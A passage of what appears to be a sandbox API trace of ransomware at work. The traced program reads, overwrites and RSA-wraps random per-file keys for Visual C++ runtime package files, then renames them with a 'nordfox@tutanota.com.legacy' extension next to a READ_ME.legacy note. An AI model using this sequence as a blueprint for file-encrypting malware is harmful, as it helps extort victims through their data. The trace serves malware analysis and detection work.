(HeapHandle=0x520000, Flags=0x0, Size=0x130) returned 0x563720 [0143.340] FindNextFileW (in: hFindFile=0x60ca98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0143.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x130) returned 0x570858 [0143.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0143.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0143.340] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0143.340] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0143.340] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", dwFileAttributes=0x80) returned 1 [0143.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x130) returned 0x571fc8 [0143.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c6) returned 0x5646a8 [0143.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0143.341] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0143.341] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=143360) returned 1 [0143.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23000) returned 0x2f40858 [0143.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23000) returned 0x2e81f40 [0143.343] ReadFile (in: hFile=0x7bc, lpBuffer=0x2f40858, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesRead=0x2e1f9bc*=0x23000, lpOverlapped=0x0) returned 1 [0143.361] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=-143360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.361] WriteFile (in: hFile=0x7bc, lpBuffer=0x2e81f40*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e81f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x23000, lpOverlapped=0x0) returned 1 [0143.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0143.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e81f40 | out: hHeap=0x520000) returned 1 [0143.364] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x23000 [0143.364] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0143.364] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0143.365] WriteFile (in: hFile=0x7bc, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0143.365] WriteFile (in: hFile=0x7bc, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0143.365] CloseHandle (hObject=0x7bc) returned 1 [0143.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0143.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0143.365] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0143.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0143.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570858 | out: hHeap=0x520000) returned 1 [0143.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0143.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0143.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0143.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0143.367] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0143.367] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0143.367] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", dwFileAttributes=0x80) returned 1 [0143.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c54a8 [0143.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0143.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c54a8 | out: hHeap=0x520000) returned 1 [0143.368] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0143.368] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5588256) returned 1 [0143.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x554520) returned 0x312d020 [0143.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x554520) returned 0x369e020 [0143.390] ReadFile (in: hFile=0x7bc, lpBuffer=0x312d020, nNumberOfBytesToRead=0x554520, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312d020*, lpNumberOfBytesRead=0x2e1f9bc*=0x554520, lpOverlapped=0x0) returned 1 [0143.668] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=-5588256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.668] WriteFile (in: hFile=0x7bc, lpBuffer=0x369e020*, nNumberOfBytesToWrite=0x554520, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x369e020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x554520, lpOverlapped=0x0) returned 1 [0143.860] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312d020 | out: hHeap=0x520000) returned 1 [0143.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x369e020 | out: hHeap=0x520000) returned 1 [0143.910] SetFilePointer (in: hFile=0x7bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x554520 [0143.910] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0143.910] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0143.910] WriteFile (in: hFile=0x7bc, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0143.911] WriteFile (in: hFile=0x7bc, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0143.911] CloseHandle (hObject=0x7bc) returned 1 [0143.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0143.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0143.911] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0143.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0143.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0143.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0143.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a898 [0143.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5b0 | out: hHeap=0x520000) returned 1 [0143.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609ee8 | out: hHeap=0x520000) returned 1 [0143.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0143.924] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe129ad93, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c5d8 [0143.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0143.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0143.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0143.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0143.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0143.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0143.924] GetLastError () returned 0x0 [0143.925] SetLastError (dwErrCode=0x0) [0143.925] GetLastError () returned 0x0 [0143.925] SetLastError (dwErrCode=0x0) [0143.925] GetLastError () returned 0x0 [0143.925] SetLastError (dwErrCode=0x0) [0143.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0143.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0143.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0143.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610130 [0143.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60cad8 [0143.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cad8 | out: hHeap=0x520000) returned 1 [0143.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0143.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0143.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610130 | out: hHeap=0x520000) returned 1 [0143.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0143.925] FindNextFileW (in: hFindFile=0x60c5d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe129ad93, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0143.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0143.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0143.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0143.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0143.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0143.925] GetLastError () returned 0x0 [0143.925] SetLastError (dwErrCode=0x0) [0143.926] GetLastError () returned 0x0 [0143.926] SetLastError (dwErrCode=0x0) [0143.926] GetLastError () returned 0x0 [0143.926] SetLastError (dwErrCode=0x0) [0143.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0143.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0143.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0143.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101d0 [0143.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c558 [0143.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c558 | out: hHeap=0x520000) returned 1 [0143.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20138 [0143.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20138 | out: hHeap=0x520000) returned 1 [0143.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101d0 | out: hHeap=0x520000) returned 1 [0143.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0143.926] FindNextFileW (in: hFindFile=0x60c5d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d2e00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x898d2e00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x898d2e00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0143.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0143.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0143.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0143.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0143.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0143.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0143.926] GetLastError () returned 0x0 [0143.926] SetLastError (dwErrCode=0x0) [0143.926] GetLastError () returned 0x0 [0143.926] SetLastError (dwErrCode=0x0) [0143.927] GetLastError () returned 0x0 [0143.927] SetLastError (dwErrCode=0x0) [0143.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6102c0 [0143.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6102c0 | out: hHeap=0x520000) returned 1 [0143.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0143.927] FindNextFileW (in: hFindFile=0x60c5d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe129ad93, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe129ad93, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe12c0f3f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0143.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0143.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0143.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0143.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0143.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0143.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0143.927] GetLastError () returned 0x0 [0143.927] SetLastError (dwErrCode=0x0) [0143.927] GetLastError () returned 0x0 [0143.927] SetLastError (dwErrCode=0x0) [0143.927] GetLastError () returned 0x0 [0143.927] SetLastError (dwErrCode=0x0) [0143.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101f8 [0143.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101f8 | out: hHeap=0x520000) returned 1 [0143.927] FindNextFileW (in: hFindFile=0x60c5d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0143.928] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0143.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0143.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0143.928] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0143.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0143.928] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0143.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0143.928] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0143.928] GetLastError () returned 0x0 [0143.928] SetLastError (dwErrCode=0x0) [0143.928] GetLastError () returned 0x0 [0143.928] SetLastError (dwErrCode=0x0) [0143.928] GetLastError () returned 0x0 [0143.928] SetLastError (dwErrCode=0x0) [0143.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0143.928] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0143.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0143.928] FindNextFileW (in: hFindFile=0x60c5d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0143.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570858 [0143.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c54a8 [0143.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0143.928] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0143.928] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0143.929] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", dwFileAttributes=0x80) returned 1 [0143.929] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0143.929] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x5646a8 [0143.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0143.930] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c0 [0143.930] GetFileSizeEx (in: hFile=0x7c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=143360) returned 1 [0143.930] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23000) returned 0x2f40858 [0143.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23000) returned 0x2e81f40 [0143.932] ReadFile (in: hFile=0x7c0, lpBuffer=0x2f40858, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesRead=0x2e1f9bc*=0x23000, lpOverlapped=0x0) returned 1 [0143.965] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=-143360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.965] WriteFile (in: hFile=0x7c0, lpBuffer=0x2e81f40*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | 